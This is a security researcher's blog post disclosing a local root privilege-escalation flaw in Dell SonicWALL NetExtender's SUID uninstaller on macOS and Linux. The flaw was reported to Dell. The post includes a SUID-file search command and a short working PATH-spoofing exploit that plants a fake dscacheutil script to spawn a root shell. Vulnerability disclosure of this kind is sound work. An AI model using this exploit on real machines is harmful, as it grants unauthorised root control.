(In)security in security software: NetExtender 0-day analysis [EN]

Shotokan - mercoledì 20 Gennaio

VPN clients are used by most of the IT security experts, to either connect to a ‘restricted’ LAN or to anonymize & secure the traffic or again for many other reasons..

But what happens if a VPN client can lead to a privilege escalation on the machine?

Note: It’s not an 0-day anymore, as I immediately reported the vulnerability to the Dell Security Team as you can see from here:
[Dell SonicWALL Notice Concerning Root Privilege Escalation Vulnerability in the NetExtender for Mac OS X and Linux clients]

Let’s start from the beginning (September 2015)

It was a sunny day, outside it was bright and… nah I’m kidding.

I was at home with nothing to do, so I decided to try to find a vulnerability on OSx (Yosemite back in Sept 2015) as it was a brand new OS for me, so it was a good thing to try.

I decided to start with the basics: let’s scan for suid files.

sudo find / -user root -perm -4000 -print

Other than regular system files a thing hit me:

1321668 -rwsr-xr-x@ 1 root  wheel    18K 16 Apr 17:47 /usr/sbin/uninstallNetExtender

Wtf? The VPN client I installed before (Dell’s NetExtender) created a SUID binary! Let’s try something with that.

Pa(th)zuzu enters.

In the same days I was working on a script to test for PATH spoofing vulnerabilities [Note: PA(TH)ZUZU, it works just fine now] so actually one of the first things I thought it would be fun to try was… Spoofing the PATH.

What’s that? How does this help me?

The PATH bash variable ($PATH) contains all the directories (colon-separated) from where binaries can be called without typing the full, you can guess it, path.

Let’s try with an example:


This is the default $PATH from OSx.

Splitting ‘em you can see that they’re actually 5 directories:


So if I run a command the file with the command name will be searched from the directories listed above.
Example with ping:

~ $ which ping

So now the question is: what happens if you change (spoof) the $PATH variable before running an executable?

shotokan@ZHMACBOOK ~ $ which ping
shotokan@ZHMACBOOK ~ $ touch /tmp/ping
shotokan@ZHMACBOOK ~ $ chmod +x /tmp/ping
shotokan@ZHMACBOOK ~ $ PATH=/tmp
shotokan@ZHMACBOOK ~ $ /usr/bin/which ping

Boom, from now on if I’ll try to run any program without specifying the full path the only directory they will be searched from it’s exactly “/tmp”.

Let’s get the party started.

First thing to try was: let’s see if there are some interesting strings in the binary.

strings in uninstaller

Wow setuid! If we can pwn this script we can probably become root without any issue!

And all the other strings seems a lot like… flags passed directly to bash.
Let’s try the spoofing magic.

Let’s just point the PATH to a directory with nothing interesting inside. The current directory (“.”).

Path spoof in current directory

Wait what?? It worked!

From this picture we can see that 3 programs were called from the uninstaller:

  1. dscacheutil
  2. arp
  3. rm

Let’s try to write an exploit that will create a “fake” dscacheutil executable (it will just call bash) in the current directory and calls the uninstaller with the $PATH spoofed to “.”

echo "#!/bin/bash" >dscacheutil
echo "PATH=$PATH /bin/bash 2>&1" >> dscacheutil

chmod +x dscacheutil

PATH=. /usr/sbin/uninstallNetExtender 2>/dev/null

rm dscacheutil

Let’s chmod +x it and run it:

r00t r00t r00t

Boom. r00t.

(Note: this exploit worked on both OSx & Linux)

Lesson: learned.

Always check what it’s on your PC before and after you install something, even if you trust the source: it could save you from bad things.
…Or people.
…Or aliens.

The game.




Theme made by Koala